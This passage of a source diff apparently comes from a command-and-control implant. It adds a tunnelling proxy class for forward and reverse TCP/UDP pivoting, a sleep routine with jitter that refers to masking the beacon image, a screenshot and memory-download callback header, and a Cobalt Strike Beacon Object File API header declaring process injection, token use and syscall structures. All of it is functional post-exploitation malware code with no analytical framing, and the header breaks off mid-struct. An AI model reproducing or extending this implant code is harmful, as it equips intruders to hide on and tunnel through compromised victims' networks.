if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) == -1) {
|
||||
ApiWin->closesocket(sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
ULONG cid = GenerateRandom32();
|
||||
|
||||
packer->Pack32(tunnelData->channelID); // tunnel ID
|
||||
packer->Pack32(COMMAND_TUNNEL_ACCEPT);
|
||||
packer->Pack32(cid);
|
||||
|
||||
this->AddProxyData(cid, 5, sock, 180000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_READY);
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
continue;
|
||||
}
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
|
||||
tunnelData->state = TUNNEL_STATE_READY;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP) {
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
continue;
|
||||
}
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
|
||||
tunnelData->state = TUNNEL_STATE_READY;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
|
||||
continue;
|
||||
}
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
|
||||
SOCKET listenSock = tunnelData->sock;
|
||||
SOCKET tmp_sock_2 = ApiWin->accept(listenSock, 0, 0);
|
||||
if (tmp_sock_2 == -1) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
}
|
||||
else {
|
||||
tunnelData->sock = tmp_sock_2;
|
||||
tunnelData->state = TUNNEL_STATE_READY;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
|
||||
}
|
||||
ApiWin->closesocket(listenSock);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ApiWin->GetTickCount() - tunnelData->startTick > tunnelData->waitTime) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
ULONG Proxyfire::RecvProxy(Packer* packer)
|
||||
{
|
||||
ULONG count = 0;
|
||||
LPVOID buffer = MemAllocLocal(0x10000);
|
||||
TunnelData* tunnelData;
|
||||
for (int i = 0; i < this->tunnels.size(); i++) {
|
||||
|
||||
if (packer->datasize() > 0x400000)
|
||||
break;
|
||||
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
if (tunnelData->state == TUNNEL_STATE_READY) {
|
||||
|
||||
if (tunnelData->server_paused)
|
||||
continue;
|
||||
|
||||
if (tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK)
|
||||
continue;
|
||||
|
||||
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
|
||||
|
||||
LPVOID buffer = MemAllocLocal(0xFFFFC);
|
||||
struct sockaddr_in clientAddr = { 0 };
|
||||
int clientAddrLen = sizeof(sockaddr_in);
|
||||
|
||||
int readed = ApiWin->recvfrom(tunnelData->sock, (CHAR*) buffer, 0xFFFFC, 0, (struct sockaddr*)&clientAddr, &clientAddrLen);
|
||||
if (readed == -1) {
|
||||
if (ApiWin->WSAGetLastError() != WSAEWOULDBLOCK) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
}
|
||||
}
|
||||
else if (readed) {
|
||||
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
|
||||
++count;
|
||||
}
|
||||
MemFreeLocal(&buffer, 0xFFFFC);
|
||||
}
|
||||
else {
|
||||
int max_reads = 16;
|
||||
while (max_reads-- > 0) {
|
||||
int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, 0x10000, 0);
|
||||
|
||||
if (readed > 0) {
|
||||
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
|
||||
++count;
|
||||
}
|
||||
else if (readed == 0) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
break;
|
||||
}
|
||||
else if (readed == -1) {
|
||||
int err = ApiWin->WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
}
|
||||
break;
|
||||
}
|
||||
else {
|
||||
char peekBuf[1];
|
||||
int peekResult = ApiWin->recv(tunnelData->sock, peekBuf, 1, MSG_PEEK);
|
||||
if (peekResult == 0) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
MemFreeLocal(&buffer, 0x10000);
|
||||
tunnelData = NULL;
|
||||
return count;
|
||||
}
|
||||
|
||||
void Proxyfire::FlushProxy(Packer* packer)
|
||||
{
|
||||
TunnelData* tunnelData;
|
||||
|
||||
timeval timeout;
|
||||
timeout.tv_sec = 0;
|
||||
timeout.tv_usec = 0;
|
||||
|
||||
for (int i = 0; i < this->tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
|
||||
if (tunnelData->state != TUNNEL_STATE_READY)
|
||||
continue;
|
||||
|
||||
if (tunnelData->writeBuffer == NULL || tunnelData->writeBufferSize == 0)
|
||||
continue;
|
||||
|
||||
fd_set writefds;
|
||||
FD_ZERO(&writefds);
|
||||
FD_SET(tunnelData->sock, &writefds);
|
||||
|
||||
int sel = ApiWin->select(0, NULL, &writefds, NULL, &timeout);
|
||||
if (sel <= 0 || !ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds))
|
||||
continue;
|
||||
|
||||
int sent = ApiWin->send(tunnelData->sock, tunnelData->writeBuffer, (int)tunnelData->writeBufferSize, 0);
|
||||
if (sent > 0) {
|
||||
if ((ULONG)sent >= tunnelData->writeBufferSize) {
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
if (packer && tunnelData->paused) {
|
||||
tunnelData->paused = FALSE;
|
||||
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
|
||||
}
|
||||
}
|
||||
else {
|
||||
ULONG remain = tunnelData->writeBufferSize - (ULONG)sent;
|
||||
|
||||
CHAR* newBuf = (CHAR*)MemAllocLocal(remain);
|
||||
if (newBuf == NULL) {
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
if (packer)
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
|
||||
continue;
|
||||
}
|
||||
|
||||
memcpy(newBuf, tunnelData->writeBuffer + sent, remain);
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
|
||||
tunnelData->writeBuffer = newBuf;
|
||||
tunnelData->writeBufferSize = remain;
|
||||
if (packer && tunnelData->paused && tunnelData->writeBufferSize < TUNNEL_BUFFER_LOW_WATERMARK) {
|
||||
tunnelData->paused = FALSE;
|
||||
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (sent == -1) {
|
||||
int err = ApiWin->WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK) {
|
||||
if (tunnelData->writeBuffer) {
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
}
|
||||
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
if (packer)
|
||||
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
void Proxyfire::CloseProxy()
|
||||
{
|
||||
TunnelData* tunnelData;
|
||||
for (int i = 0; i < this->tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
if (tunnelData->state == TUNNEL_STATE_CLOSE) {
|
||||
|
||||
if (tunnelData->closeTimer == 0) {
|
||||
tunnelData->closeTimer = ApiWin->GetTickCount();
|
||||
continue;
|
||||
}
|
||||
|
||||
if (tunnelData->closeTimer + 1000 < ApiWin->GetTickCount()) {
|
||||
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP || tunnelData->mode == TUNNEL_MODE_SEND_UDP)
|
||||
ApiWin->shutdown(tunnelData->sock, 2);
|
||||
|
||||
if (ApiWin->closesocket(tunnelData->sock) && tunnelData->mode == TUNNEL_MODE_REVERSE_TCP)
|
||||
continue;
|
||||
|
||||
if (tunnelData->writeBuffer) {
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
}
|
||||
|
||||
this->tunnels.remove(i);
|
||||
--i;
|
||||
}
|
||||
}
|
||||
}
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
void Proxyfire::ProcessTunnels(Packer* packer)
|
||||
{
|
||||
if (!this->tunnels.size())
|
||||
return;
|
||||
|
||||
this->CheckProxy(packer);
|
||||
this->FlushProxy(packer);
|
||||
|
||||
ULONG finishTick = ApiWin->GetTickCount() + 2500;
|
||||
while ( this->RecvProxy(packer) && ApiWin->GetTickCount() < finishTick );
|
||||
|
||||
this->CloseProxy();
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
|
||||
#define COMMAND_TUNNEL_START_TCP 62
|
||||
#define COMMAND_TUNNEL_START_UDP 63
|
||||
#define COMMAND_TUNNEL_WRITE_TCP 64
|
||||
#define COMMAND_TUNNEL_WRITE_UDP 65
|
||||
#define COMMAND_TUNNEL_CLOSE 66
|
||||
#define COMMAND_TUNNEL_REVERSE 67
|
||||
#define COMMAND_TUNNEL_ACCEPT 68
|
||||
#define COMMAND_TUNNEL_PAUSE 69
|
||||
#define COMMAND_TUNNEL_RESUME 70
|
||||
|
||||
#define TUNNEL_CREATE_SUCCESS 0
|
||||
#define TUNNEL_CREATE_ERROR 1
|
||||
|
||||
#define TUNNEL_STATE_CLOSE 0
|
||||
#define TUNNEL_STATE_READY 1
|
||||
#define TUNNEL_STATE_CONNECT 2
|
||||
|
||||
#define TUNNEL_MODE_SEND_TCP 0
|
||||
#define TUNNEL_MODE_SEND_UDP 1
|
||||
#define TUNNEL_MODE_REVERSE_TCP 2
|
||||
|
||||
#define TUNNEL_BUFFER_HIGH_WATERMARK 0x400000 // 4MB: stop reading
|
||||
#define TUNNEL_BUFFER_LOW_WATERMARK 0x100000 // 1MB: resume reading
|
||||
#define TUNNEL_BUFFER_HARD_CAP 0x1000000 // 16MB: close channel
|
||||
|
||||
struct TunnelData {
|
||||
ULONG channelID;
|
||||
ULONG type;
|
||||
SOCKET sock;
|
||||
BYTE state;
|
||||
BYTE mode;
|
||||
ULONG i_address;
|
||||
WORD port;
|
||||
ULONG waitTime;
|
||||
ULONG startTick;
|
||||
ULONG closeTimer;
|
||||
CHAR* writeBuffer;
|
||||
ULONG writeBufferSize;
|
||||
BOOL paused;
|
||||
BOOL server_paused;
|
||||
};
|
||||
|
||||
class Proxyfire
|
||||
{
|
||||
public:
|
||||
Vector<TunnelData> tunnels;
|
||||
|
||||
void ProcessTunnels(Packer* packer);
|
||||
|
||||
void CheckProxy(Packer* packer);
|
||||
ULONG RecvProxy(Packer* packer);
|
||||
void FlushProxy(Packer* packer);
|
||||
void CloseProxy();
|
||||
|
||||
void ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WORD port, Packer* outPacker);
|
||||
void ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Packer* outPacker);
|
||||
void ConnectWriteTCP(ULONG channelId, CHAR* data, ULONG dataSize, Packer* outPacker);
|
||||
|
||||
void ConnectWriteUDP(ULONG channelId, CHAR* data, ULONG dataSize);
|
||||
void ConnectClose(ULONG channelId);
|
||||
void ConnectMessageReverse(ULONG tunnelId, WORD port, Packer* outPacker);
|
||||
|
||||
void ConnectPause(ULONG channelId);
|
||||
void ConnectResume(ULONG channelId);
|
||||
|
||||
void AddProxyData(ULONG channelId, ULONG type, SOCKET sock, ULONG waitTime, ULONG mode, ULONG address, WORD port, ULONG state);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,53 @@
|
||||
#include "WaitMask.h"
|
||||
#include "Boffer.h"
|
||||
|
||||
void WaitMaskWithEvent(HANDLE hEvent, ULONG worktime, ULONG sleepTime, ULONG jitter)
|
||||
{
|
||||
ULONG maxSleepTime = 0;
|
||||
if (worktime) {
|
||||
maxSleepTime = worktime * 1000;
|
||||
}
|
||||
else if (sleepTime) {
|
||||
maxSleepTime = sleepTime * 1000;
|
||||
if (jitter) {
|
||||
ULONG deltaTime = 0;
|
||||
ULONG minTime = sleepTime * jitter / 100;
|
||||
if (minTime)
|
||||
deltaTime = GenerateRandom32() % minTime;
|
||||
if (deltaTime < maxSleepTime)
|
||||
maxSleepTime -= deltaTime;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL hasRunningAsyncBofs = FALSE;
|
||||
if (g_AsyncBofManager)
|
||||
hasRunningAsyncBofs = g_AsyncBofManager->HasRunningAsyncBofs();
|
||||
|
||||
if (hasRunningAsyncBofs) {
|
||||
// Preserve async BOF responsiveness through the wakeup event, but do
|
||||
// not mask the beacon image while other beacon threads may be running.
|
||||
HANDLE waitEvent = hEvent;
|
||||
if (waitEvent == NULL && g_AsyncBofManager)
|
||||
waitEvent = g_AsyncBofManager->GetWakeupEvent();
|
||||
|
||||
if (waitEvent) {
|
||||
DWORD waitResult = ApiWin->WaitForSingleObject(waitEvent, maxSleepTime);
|
||||
if (waitResult == WAIT_OBJECT_0)
|
||||
ApiWin->ResetEvent(waitEvent);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Masking the full beacon image is only safe when no async BOF threads
|
||||
// are active. In this branch we intentionally do not rely on wakeup
|
||||
// events, so clear any stale signal before entering the masked sleep path.
|
||||
if (hEvent)
|
||||
ApiWin->ResetEvent(hEvent);
|
||||
|
||||
ApiWin->Sleep(maxSleepTime);
|
||||
}
|
||||
|
||||
void mySleep(ULONG ms)
|
||||
{
|
||||
ApiWin->Sleep(ms);
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include "ApiLoader.h"
|
||||
#include "utils.h"
|
||||
|
||||
void WaitMaskWithEvent(HANDLE hEvent, ULONG worktime, ULONG sleepTime, ULONG jitter);
|
||||
|
||||
void mySleep(ULONG ms);
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include "beacon.h"
|
||||
|
||||
#define CALLBACK_AX_SCREENSHOT 0x81
|
||||
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
|
||||
|
||||
void AxAddScreenshot(char* note, char* data, int len);
|
||||
|
||||
void AxDownloadMemory(char* filename, char* data, int len);
|
||||
@@ -0,0 +1,379 @@
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char* original; /* the original buffer [so we can free it] */
|
||||
char* buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size);
|
||||
char* BeaconDataPtr(datap* parser, int size);
|
||||
int BeaconDataInt(datap* parser);
|
||||
short BeaconDataShort(datap* parser);
|
||||
int BeaconDataLength(datap* parser);
|
||||
char* BeaconDataExtract(datap* parser, int* size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char* original; /* the original buffer [so we can free it] */
|
||||
char* buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz);
|
||||
void BeaconFormatReset(formatp* format);
|
||||
void BeaconFormatAppend(formatp* format, const char* text, int len);
|
||||
void BeaconFormatPrintf(formatp* format, const char* fmt, ...);
|
||||
char* BeaconFormatToString(formatp* format, int* size);
|
||||
void BeaconFormatFree(formatp* format);
|
||||
void BeaconFormatInt(formatp* format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
void BeaconOutput(int type, const char* data, int len);
|
||||
void BeaconPrintf(int type, const char* fmt, ...);
|
||||
|
||||
/* Token Functions */
|
||||
BOOL BeaconUseToken(HANDLE token);
|
||||
void BeaconRevertToken();
|
||||
BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length);
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
BOOL toWideChar(char* src, wchar_t* dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char* ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, * PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, * PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
} ALLOCATED_MEMORY_SECTION, * PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, * PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, * PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char* sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char* beacon_ptr;
|
||||
HEAP_RECORD* heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, * PBEACON_INFO;
|
||||
|
||||
BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
BOOL BeaconAddValue(const char* key, void* ptr);
|
||||
void* BeaconGetValue(const char* key);
|
||||
BOOL BeaconRemoveValue(const char* key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, * PDATA_STORE_OBJECT;
|
||||
|
||||
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
void BeaconDataStoreProtectItem(size_t index);
|
||||
void BeaconDataStoreUnprotectItem(size_t index);
|
||||
ULONG BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
char* BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, * PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
